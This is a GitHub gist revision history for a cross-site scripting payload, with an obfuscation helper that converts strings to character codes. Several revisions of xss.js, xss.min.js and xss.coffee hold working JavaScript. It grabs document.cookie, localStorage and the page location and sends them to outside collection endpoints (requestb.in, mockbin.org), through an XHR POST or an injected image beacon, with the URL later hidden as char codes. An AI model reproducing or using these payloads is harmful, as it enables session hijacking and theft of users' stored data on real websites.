Skip to content

Instantly share code, notes, and snippets.

@dhilipsiva
Last active November 8, 2015 04:13
Show Gist options
  • Select an option

  • Save dhilipsiva/11e385403416e43cc1e3 to your computer and use it in GitHub Desktop.

Select an option

Save dhilipsiva/11e385403416e43cc1e3 to your computer and use it in GitHub Desktop.

Revisions

  1. dhilipsiva revised this gist Nov 8, 2015. 2 changed files with 8 additions and 5 deletions.
    5 changes: 0 additions & 5 deletions chrconverter.coffee
    Original file line number Diff line number Diff line change
    @@ -1,5 +0,0 @@
    str = "Hello CoffeeScript!"
    codes = []
    for chr in str
    codes.push chr.charCodeAt 0
    console.log codes
    8 changes: 8 additions & 0 deletions chrconverter.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,8 @@
    var chr, codes, i, len, str;
    str = "text";
    codes = [];
    for (i = 0, len = str.length; i < len; i++) {
    chr = str[i];
    codes.push(chr.charCodeAt(0));
    }
    console.log(codes);
  2. dhilipsiva revised this gist Nov 8, 2015. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions chrconverter.coffee
    Original file line number Diff line number Diff line change
    @@ -1,5 +1,5 @@
    str = "Hello CoffeeScript!"
    codes = []
    for chr in str
    codes.push chr.charCodeAt(0)
    console.log(codes)
    codes.push chr.charCodeAt 0
    console.log codes
  3. dhilipsiva revised this gist Nov 8, 2015. 4 changed files with 11 additions and 5 deletions.
    5 changes: 5 additions & 0 deletions chrconverter.coffee
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,5 @@
    str = "Hello CoffeeScript!"
    codes = []
    for chr in str
    codes.push chr.charCodeAt(0)
    console.log(codes)
    5 changes: 5 additions & 0 deletions xss.coffee
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,5 @@
    u = String.fromCharCode.apply this, []
    d = document
    i = d.createElement "img"
    i.src = "#{u}?c=#{d.cookie}&l=#{escape location.toString()}&ls=#{JSON.stringify localStorage }"
    d.body.appendChild i
    4 changes: 0 additions & 4 deletions xss.js
    Original file line number Diff line number Diff line change
    @@ -1,4 +0,0 @@
    u = "http://requestb.in/rtky3yrt"
    d = document
    i = d.createElement("img")
    i.src = u + "?c=" + d.cookie + "&l=" + JSON.stringify(localStorage);
    2 changes: 1 addition & 1 deletion xss.min.js
    Original file line number Diff line number Diff line change
    @@ -1 +1 @@
    u="http://requestb.in/rtky3yrt",d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+JSON.stringify(localStorage);
    var d,i,u;u=String.fromCharCode.apply(this,[]),d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+escape(location.toString())+"&ls="+JSON.stringify(localStorage),d.body.appendChild(i);
  4. dhilipsiva revised this gist Aug 30, 2015. 2 changed files with 5 additions and 17 deletions.
    21 changes: 4 additions & 17 deletions xss.js
    Original file line number Diff line number Diff line change
    @@ -1,17 +1,4 @@
    var data = "localStorage=" + JSON.stringify(localStorage);

    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;

    xhr.addEventListener("readystatechange", function () {
    if (this.readyState === this.DONE) {
    console.log(this.responseText);
    }
    });

    xhr.open("POST", "http://mockbin.org/bin/2e29e021-eb0f-450f-9ece-6793c8a73b6f");
    xhr.setRequestHeader("cookie", document.cookie);
    xhr.setRequestHeader("accept", "application/json");
    xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded");

    xhr.send(data);
    u = "http://requestb.in/rtky3yrt"
    d = document
    i = d.createElement("img")
    i.src = u + "?c=" + d.cookie + "&l=" + JSON.stringify(localStorage);
    1 change: 1 addition & 0 deletions xss.min.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    u="http://requestb.in/rtky3yrt",d=document,i=d.createElement("img"),i.src=u+"?c="+d.cookie+"&l="+JSON.stringify(localStorage);
  5. dhilipsiva created this gist Aug 30, 2015.
    17 changes: 17 additions & 0 deletions xss.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,17 @@
    var data = "localStorage=" + JSON.stringify(localStorage);

    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;

    xhr.addEventListener("readystatechange", function () {
    if (this.readyState === this.DONE) {
    console.log(this.responseText);
    }
    });

    xhr.open("POST", "http://mockbin.org/bin/2e29e021-eb0f-450f-9ece-6793c8a73b6f");
    xhr.setRequestHeader("cookie", document.cookie);
    xhr.setRequestHeader("accept", "application/json");
    xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded");

    xhr.send(data);